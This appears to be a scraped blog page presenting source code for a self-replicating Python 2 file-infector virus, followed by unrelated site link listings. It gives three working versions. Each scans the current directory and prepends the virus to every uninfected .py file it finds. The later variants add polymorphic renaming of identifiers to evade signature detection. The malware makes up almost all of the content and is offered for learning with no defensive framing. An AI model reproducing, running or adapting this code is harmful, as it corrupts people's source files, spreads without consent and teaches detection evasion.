Learn from here

Initial

#!/usr/bin/python2.7
#MAGIC_STRING_skd83749872

import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + '~')

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    for line in this:
        destination.write(line)
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "---------------------------this is silly python virus-----------------"

#MAGIC_STRING_9348788nkmsd

Variation 1

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
    os.rename(filename, filename + "~")

    destination = open(filename, "w")
    source = open(filename + "~", "r")
    this = open(__main__.__file__, "r")

    mutations = init_mutation()

    for line in this:
        destination.write(mutate(line, mutations))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        destination.write(line)

    source.close()
    destination.close()
    this.close()

def is_infected(filename):
    f = open(filename, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def mutate(line, mutations):
    for k, v in mutations.iteritems():
        line = line.replace(k, v)
    return line

def init_mutation():
    original = ['filename', 'find_and_infect_files', 'init_mutation', 'source'
                'is_infected', 'infect', 'randstring', 'destination', 'mutate',
                'randstring', 'original', 'mutations']
    mutated = []
    for o in original:
        mutated.append((o, rand_string(len(o))))
    return dict(mutated)

def rand_string(length):
    randstring = ''
    for i in range(0, length):
        randstring += chr(random.randint(97, 122))
    return randstring

def find_and_infect_files():
    path = "."
    dirs = os.listdir(path)
    for filename in dirs:
        if filename.endswith(".py") and not is_infected(filename):
            infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Variation 2

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def tnjjel(ptphbids):
    os.rename(ptphbids, ptphbids + "~")

    buszvmkioof = open(ptphbids, "w")
    source = open(ptphbids + "~", "r")
    this = open(__main__.__file__, "r")

    ontsgrefv = puezajbvokbom()

    for line in this:
        buszvmkioof.write(vgaisf(line, ontsgrefv))
        if line.startswith("#MAGIC_STRING_9348788nkmsd"):
            break;

    for line in source:
        buszvmkioof.write(line)

    source.close()
    buszvmkioof.close()
    this.close()

def is_tnjjeled(ptphbids):
    f = open(ptphbids, "r")
    return f.readline().startswith("#MAGIC_STRING_skd83749872")

def vgaisf(line, ontsgrefv):
    for k, v in ontsgrefv.iteritems():
        line = line.replace(k, v)
    return line

def puezajbvokbom():
    slrxwwms = ['ptphbids', 'find_and_tnjjel_files', 'puezajbvokbom', 'source'
                'is_tnjjeled', 'tnjjel', 'qebmtybcrm', 'buszvmkioof', 'vgaisf',
                'qebmtybcrm', 'slrxwwms', 'ontsgrefv']
    vgaisfd = []
    for o in slrxwwms:
        vgaisfd.append((o, rand_string(len(o))))
    return dict(vgaisfd)

def rand_string(length):
    qebmtybcrm = ''
    for i in range(0, length):
        qebmtybcrm += chr(random.randint(97, 122))
    return qebmtybcrm

def find_and_tnjjel_files():
    path = "."
    dirs = os.listdir(path)
    for ptphbids in dirs:
        if ptphbids.endswith(".py") and not is_tnjjeled(ptphbids):
            tnjjel(ptphbids)

find_and_tnjjel_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

Bingo !

Basic Virus's Infection & Variation [Python]的更多相关文章

  1. 【Python】【Basic】MacOS上搭建Python开发环境

    1. Python3 1.1. 下载地址:https://www.python.org/downloads/mac-osx/ 1.1.1. PKG包安装: 没啥可说的,点点点,下一步而已,不用手动配置 ...

  2. 【LeetCode】224. Basic Calculator 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 栈 参考资料 日期 题目地址:https://lee ...

  3. Python基础知识(Basic knowledge)

    Python基础知识(Basic knowledge) 1.认识Python&基础环境搭建 2.Python基础(上) 3.Python基础(中) 4.Python基础(下) 5.Python ...

  4. Python初学基础

      初入坑Python,打算跟着沫凡小哥的学习视频打个基础,此篇文章做一些简单的学习记录,加油加油加油啦 沫凡小哥的学习网站:https://morvanzhou.github.io/tutorial ...

  5. 6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python)

    6 Easy Steps to Learn Naive Bayes Algorithm (with code in Python) Introduction Here’s a situation yo ...

  6. 【310】◀▶ Python 日期和时间

    参考: python 时间日期计算 Python 日期和时间(菜鸟教程) 8.1. datetime — Basic date and time types python中datetime模块中dat ...

  7. 还在用背单词App?使用Python开发英语单词自测工具,助你逆袭单词王!

    学英语广告 最近也许是刚开学的原因,不管是公众号,还是刷抖音,导出都能看到关于学英语.背单词的广告. 不知道现在学生们背单词买的什么辅导材料.反正我们上学那会,<星火阅读>特别的火.记得当 ...

  8. python网络框架Twisted

    什么是Twisted Twisted是一个用python语言写的事件驱动网络框架,它支持很多种协议,包括UDP,TCP,TLS和其他应用层协议,比如HTTP,SMTP,NNTM,IRC,XMPP/Ja ...

  9. 结合python版本安装python-devel gcc和g++的区别 安装前做yum搜索

    [test@ecs autocloudservices]# yum install python-develLoaded plugins: fastestmirrorLoading mirror sp ...

随机推荐

  1. Android Fragment完全解析

    转载请注明出处:http://blog.csdn.net/guolin_blog/article/details/8881711 我们都知道,Android上的界面展示都是通过Activity实现的, ...

  2. 在SQL Server里禁用聚集索引——真的好么?

    有人问了我一个最有意思的问题:“你能禁用聚集索引么?” 对这个问题,我先是吓了一跳,因为我从未想过禁用聚集索引,因为聚集索引代表表数据,对这个最有趣问题,我立即答道:“我认为可以,但是...” 好吧, ...

  3. NPOI导入导出EXCEL通用类,供参考,可直接使用在WinForm项目中

    以下是NPOI导入导出EXCEL通用类,是在别人的代码上进行优化的,兼容xls与xlsx文件格式,供参考,可直接使用在WinForm项目中,由于XSSFWorkbook类型的Write方法限制,Wri ...

  4. 编写Chrome扩展程序

    Chrome的扩展程序很多,也很容易入门,可以来简单实现一下 看看,慢慢就能实现出一个扩展程序来 每个扩展程序应用一般会包含: 一个manifest清单文件 html文件 js文件 其他文件等 可以看 ...

  5. Javascript模板引擎mustache.js详解

    mustache.js是一个简单强大的Javascript模板引擎,使用它可以简化在js代码中的html编写,压缩后只有9KB,非常值得在项目中使用.本文总结它的使用方法和一些使用心得,内容不算很高深 ...

  6. 炉石传说 C# 开发笔记(BS上线尝试)

    昨天买了一个月的1G 1核的服务器,由于不是新用户,所以没有享受到阿里的6个月免费的优惠. (阿里脑残,为什么不对于续费或者升级免费呢?) 在服务器的通讯上面已经OK了,完全绕过了ASP.NET,就是 ...

  7. html5学习笔记6-- canvas

    绘制普通直线,先看效果图: 实现代码如下: <!DOCTYPE html> <html> <head lang="en"> <meta c ...

  8. sqlserver中的循环遍历(普通循环和游标循环)

    sql 经常用到循环,下面介绍一下普通循环和游标循环 1.首先需要一个测试表数据Student

  9. 根据商品名称、价格区间检索商品的SQL语句

    如果名称和价格为空会检索出所有的数据 select * from TblProduct where (@proName='' or chvProName like '%'+@proName+'%') ...

  10. 安装Sublime Text 3汉化插件

    一.Sublime Text工具介绍: Sublime Text 是一个代码编辑器(Sublime Text 2是收费软件,但可以无限期试用),也是HTML和散文先进的文本编辑器.Sublime Te ...